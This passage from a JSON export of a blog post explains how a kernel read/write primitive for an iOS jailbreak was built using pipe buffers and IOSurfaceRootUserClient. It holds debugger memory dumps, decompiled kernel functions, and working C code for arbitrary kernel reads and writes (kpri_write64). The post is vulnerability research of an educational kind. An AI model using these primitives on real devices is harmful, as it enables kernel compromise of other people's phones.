stopped.\n (lldb) reg read x8\n       x8 = 0xffffffe4cdca1000\n (lldb) x\/32gx 0xffffffe4cdca1000\n 0xffffffe4cdca1000: 0x4443424144434241 0xffffffe4cdca1010 &lt;- p->uc_obj = pipe_base + 0x10; offsetof(uc_obj, p) = 0x8;\n 0xffffffe4cdca1010: 0x4443424144434241 0x4443424144434241\n 0xffffffe4cdca1020: 0x4443424144434241 0x4443424144434241\n 0xffffffe4cdca1030: 0x4443424144434241 0x4443424144434241\n 0xffffffe4cdca1040: 0x4443424144434241 0x4443424144434241\n 0xffffffe4cdca1050: 0xfffffff01ffa7f4c 0x4443424144434241 &lt;- p->surf_obj = where - 0xb4; offsetof(surf_obj, p) = 0x50;\n 0xffffffe4cdca1060: 0x4443424144434241 0x4443424144434241\n 0xffffffe4cdca1070: 0x4443424144434241 0x4443424144434241<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Why <code>offsetof(struct fake_client, uc_obj)<\/code> = 0x8? Because i_scalar[0] value was 1 when call <code>s_get_ycbcrmatrix<\/code>, so its value passes to <code>a2<\/code> in <code>IOSurfaceRootUserClient::get_ycbcrmatrix(__int64 a1, unsigned int a2, _DWORD *a3).<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Then <code>v7<\/code> represents <code>\u2026 + 8LL * a2<\/code> , so that\u2019s why offset size is 0x8.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">uint32_t iosurface_s_get_ycbcrmatrix(void)\n{\n    uint64_t i_scalar[1] = { 1 }; \/\/ fixed, first valid client obj   \/\/will set IOSurfaceRootUserClient::get_ycbcrmatrix's a2\n    uint64_t o_scalar[1];\n    uint32_t i_count = 1;\n    uint32_t o_count = 1;\n\n    kern_return_t kr = IOConnectCallMethod(\n            IOSurfaceRootUserClient,\n            8, \/\/ s_get_ycbcrmatrix\n            i_scalar, i_count,\n            NULL, 0,\n            o_scalar, &amp;o_count,\n            NULL, NULL);\n    if (kr != KERN_SUCCESS) {\n        printf(\"s_get_ycbcrmatrix error: 0x%x\\\\n\", kr);\n        return 0;\n    }\n    return (uint32_t)o_scalar[0];\n}<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"932\" height=\"38\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-9.png\" alt=\"\" class=\"wp-image-3141\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-9.png 932w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-9-300x12.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-9-768x31.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/03\/image-9-930x38.png 930w\" sizes=\"auto, (max-width: 932px) 100vw, 932px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">So, <code>v7<\/code> value will now have <code>0xffffffe4cdca1010<\/code> which means <code>pipe_base + 0x10<\/code> , and <code>v7<\/code> passes to <code>IOSurface::getYCbCrMatrix\u2019<\/code>s <code>a1<\/code>. let\u2019s see go further.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>IOSurface::getYCbCrMatrix<\/code> calls <code>sub_FFFFFFF00841FA60<\/code>, and its arguments has <code>*(_QWORD *)(a1 + 0x40)<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If calculated correctly, <code>pipe_base+0x10+0x40<\/code> , so it represents <code>offsetof(struct fake_client, surf_obj) = 0x50<\/code>. If we read <code>pipe_base+0x10+0x40<\/code> pointer, It has <code>0xfffffff01ffa7f4c<\/code> that we wanted to read kernel address. But this address substracted by 0xb4 at this moment, and I explain for now.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall IOSurface::getYCbCrMatrix(__int64 a1, _DWORD *a2)\n{\n  *a2 = sub_FFFFFFF00841FA60(*(_QWORD *)(a1 + 0x40));\/\/ a1 = pipe_base + 0x10\n  return 0LL;\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Yes, this <code>sub_FFFFFFF00841FA60<\/code> function explains everything. It reads from <code>a1<\/code> by adding <code>0xB4<\/code>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall sub_FFFFFFF00841FA60(__int64 a1)\n{\n  return *(unsigned int *)(a1 + 0xB4);\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Next, Why we need to call <code>read_pipe<\/code> after <code>uint32_t v = iosurface_s_get_ycbcrmatrix();<\/code>? Because If we don\u2019t <code>read_pipe<\/code>, the buffer that we read will pilling up, so <code>expand_pipespace<\/code> will be called continuously. then we can\u2019t control pipe buffer via <code>pipe_base<\/code> later.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-7195.81.3\/bsd\/kern\/sys_pipe.c#L901\n\n\/*\n * perform a write of n bytes into the read side of buffer. Since\n * pipes are unidirectional a write is meant to be read by the otherside only.\n *\/\nstatic int\npipe_write(struct fileproc *fp, struct uio *uio, __unused int flags,\n    __unused vfs_context_t ctx) {\n...\n\tif (pipe_size) {\n\t\t\/*\n\t\t * need to do initial allocation or resizing of pipe\n\t\t * holding both structure and io locks.\n\t\t *\/\n\t\tif ((error = pipeio_lock(wpipe, 1)) == 0) {\n\t\t\tif (wpipe->pipe_buffer.cnt == 0) {\n\t\t\t\terror = pipespace(wpipe, pipe_size);\n\t\t\t} else {\n\t\t\t\terror = expand_pipespace(wpipe, pipe_size);\t\/\/ &lt;- this code expand it.\n\t\t\t}\n...\n}\n\n\/*\n * expand the size of pipe while there is data to be read,\n * and then free the old buffer once the current buffered\n * data has been transferred to new storage.\n * Required: PIPE_LOCK and io lock to be held by caller.\n * returns 0 on success or no expansion possible\n *\/\nstatic int\nexpand_pipespace(struct pipe *p, int target_size)<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">kpri_write64<\/h2>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void kpri_write64(uint64_t where, uint64_t what) {\n    struct fake_client *p = (void *)pipe_buffer;\n\n    p->uc_obj = pipe_base + 0x10;\n    p->surf_obj = pipe_base;\n    p->shared_RW = where;\n    \n    write_pipe();\n\n    iosurface_s_set_indexed_timestamp(what);\n    read_pipe();\n};<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Above code is implementation of kwrite64 primitive. Now I have only one curious thing. How <code>p-&gt;shared_RW<\/code> make possible to be value of kernel address for write purpose?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Remind that\u2026 <code>offsetof(struct fake_client, shared_RW) = 0x360<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">See <code>v9 = *(QWORD *)(*(QWORD *)(a1 + 0x118) + 8LL * a2);<\/code>, not only <code>v9<\/code> represents <code>pipe_base<\/code> but also <code>*(_QWORD *)(v9 + 0x40)<\/code> represents <code>pipe_base<\/code> at this time.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall IOSurfaceRootUserClient::set_indexed_timestamp(\n        __int64 a1,\n        unsigned int a2,\n        unsigned __int64 a3,\n        __int64 a4)\n{\n  __int64 v8; \/\/ x20\n  __int64 v9; \/\/ x8\n\n  v8 = 0xE00002C2LL;\n  lck_mtx_lock(*(lck_mtx_t **)(a1 + 0xD8));\n  if ( a2 )\n  {\n    if ( *(_DWORD *)(a1 + 0x120) > a2 )\n    {\n      v9 = *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 8LL * a2);\n      if ( v9 )\n        v8 = IOSurface::setIndexedTimestamp(*(_QWORD *)(v9 + 0x40), a3, a4);\n    }\n  }\n  lck_mtx_unlock(*(lck_mtx_t **)(a1 + 216));\n  return v8;\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Since <code>p-&gt;shared_RW<\/code> meaning <code>a1+0x360<\/code> , so It will be target of kernel adddress. i_scalar[2] passes to <code>IOSurface::setIndexedTimestamp's a3<\/code> , so its value will be written to target.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void iosurface_s_set_indexed_timestamp(uint64_t v)\n{\n    uint64_t i_scalar[3] = {\n        1, \/\/ fixed, first valid client obj\n        0, \/\/ index\n        v, \/\/ value\n    };\n    uint32_t i_count = 3;\n\n    kern_return_t kr = IOConnectCallMethod(\n            IOSurfaceRootUserClient,\n            33, \/\/ s_set_indexed_timestamp\n            i_scalar, i_count,\n            NULL, 0,\n            NULL, NULL,\n            NULL, NULL);\n    if (kr != KERN_SUCCESS) {\n        printf(\"s_set_indexed_timestamp error: 0x%x\\\\n\", kr);\n    }\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">__int64 __fastcall IOSurface::setIndexedTimestamp(__int64 a1, unsigned __int64 a2, __int64 a3)\n{\n  __int64 result; \/\/ x0\n\n  if ( a2 > 3 )\n    return 3758097090LL;\n  result = 0LL;\n  *(_QWORD *)(*(_QWORD *)(a1 + 0x360) + 8 * a2) = a3;\n  return result;\n}<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Recently, I\u2019m researching how iOS jailbreak technique was used from old to nowadays. At this time, I\u2019m going to explain how kernel r\/w primitive has been achieved that was used in pattern-f\u2019s TQ-pre-jailbreak. Beginning of start Most of iOS jailbreak tools has kernel r\/w functions despite of tfp0\/hsp4 technique has been patched. (But checkm8, palera1n&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3135\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[Practice] Implementing kernel r\/w primitive using pipe and IOSurface<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[11],"class_list":["post-3135","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-ios"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3135"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3135\/revisions"}],"predecessor-version":[{"id":3142,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3135\/revisions\/3142"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}